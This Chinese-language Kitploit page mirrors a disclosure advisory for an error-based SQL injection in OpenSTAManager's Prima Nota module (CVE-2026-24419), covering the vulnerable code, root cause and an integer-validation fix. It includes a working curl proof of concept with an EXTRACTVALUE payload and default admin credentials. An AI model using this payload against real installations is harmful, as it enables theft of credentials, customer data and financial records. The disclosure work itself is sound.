Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-24419 — CVE-2026-24419 - OpenSTAManager 在 Prima Nota 模块中存在 SQL 注入漏洞。 | Kitploit
工具/GitHubGitHub/lukasz-rybak/cve-2026-24419
漏洞分析Web应用程序漏洞利用渗透测试论文与研究学习与教育
GitHublukasz-rybak/cve-2026-24419

CVE-2026-24419

CVE-2026-24419 - OpenSTAManager 在 Prima Nota 模块中存在 SQL 注入漏洞。

查看仓库
25个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-24419:OpenSTAManager 的 Prima Nota 模块存在 SQL 注入漏洞

概述

字段详情
CVE IDCVE-2026-24419
严重性高
安全公告查看安全公告
发现者Lukasz Rybak

受影响产品

  • devcode-it/openstamanager(版本:<= 2.9.8)

CWE 分类

  • CWE-89:未正确中和 SQL 命令中使用的特殊元素('SQL 注入')

详情

摘要

OpenSTAManager v2.9.8 的 Prima Nota(日记账)模块存在严重的基于错误的 SQL 注入漏洞,已认证的攻击者可通过向 URL 参数注入恶意 SQL,借助 XML 错误消息提取完整数据库内容,包括用户凭据、客户个人身份信息(PII)和财务记录。

状态: ✅ 已在真实实例(v2.9.8)上确认并测试 受影响参数: id_documenti(GET 参数) 受影响端点: /modules/primanota/add.php 攻击类型: 基于错误的 SQL 注入(IN 子句)

详情

OpenSTAManager v2.9.8 的 Prima Nota(日记账)模块 add.php 文件中存在严重的基于错误的 SQL 注入漏洞。该应用程序在将 GET 参数中的逗号分隔值用于 SQL IN() 子句之前,未验证这些值是否为整数,从而允许攻击者注入任意 SQL 命令,并通过 XPATH 错误消息提取敏感数据。

漏洞利用链:

  1. 入口点: /modules/primanota/add.php(第 63-67 行)

    root@kitploit:~
    $id_documenti = $id_documenti ?: get('id_documenti');
    $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
    

    影响: get() 函数获取用户可控的 URL 参数,explode(',', (string) ...) 按逗号拆分,但没有任何校验确保元素为整数。

  2. SQL 注入点: /modules/primanota/add.php(第 306 行)

    root@kitploit:~
    $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
    

    影响: $id_documenti 中的数组元素通过 implode() 直接拼接,未进行类型校验,也未使用 prepare(),从而可实现完整的 SQL 注入。

根因分析:

该漏洞存在的原因:

  1. get('id_documenti') 返回用户可控的字符串
  2. explode(',', (string) $value) 按逗号拆分,但不校验类型
  3. implode(',', $array) 将数组元素直接拼接进 SQL
  4. 没有校验确保数组元素为整数
  5. 攻击者可通过提供 ?id_documenti=1) AND EXTRACTVALUE(...) %23 注入 SQL

受影响代码路径:

root@kitploit:~
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
  ↓
add.php:63 - $id_documenti = get('id_documenti')
  ↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
  ↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]

PoC

步骤 1:登录

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

步骤 2:验证漏洞(基于错误的 SQL 注入)

测试 1:提取数据库用户和版本

root@kitploit:~
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"

响应(攻击者可见的错误消息):

root@kitploit:~
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &#039;[email protected] | 8.3.0&#039;</code>
图片

影响

所有有权访问 Prima Nota(日记账)模块的已认证用户。

修复建议

主要修复方案 - 类型校验:

文件:/modules/primanota/add.php

修复前(存在漏洞 - 第 63-67 行):

root@kitploit:~
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];

修复后(已修复):

root@kitploit:~
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs

致谢

发现者:Łukasz Rybak

参考资料

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4j2x-jh4m-fqv6
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24419
  • https://github.com/advisories/GHSA-4j2x-jh4m-fqv6

免责声明

该 CVE 已按照协调漏洞披露实践进行负责任披露。此处提供的信息仅用于教育和防御目的。

下载工具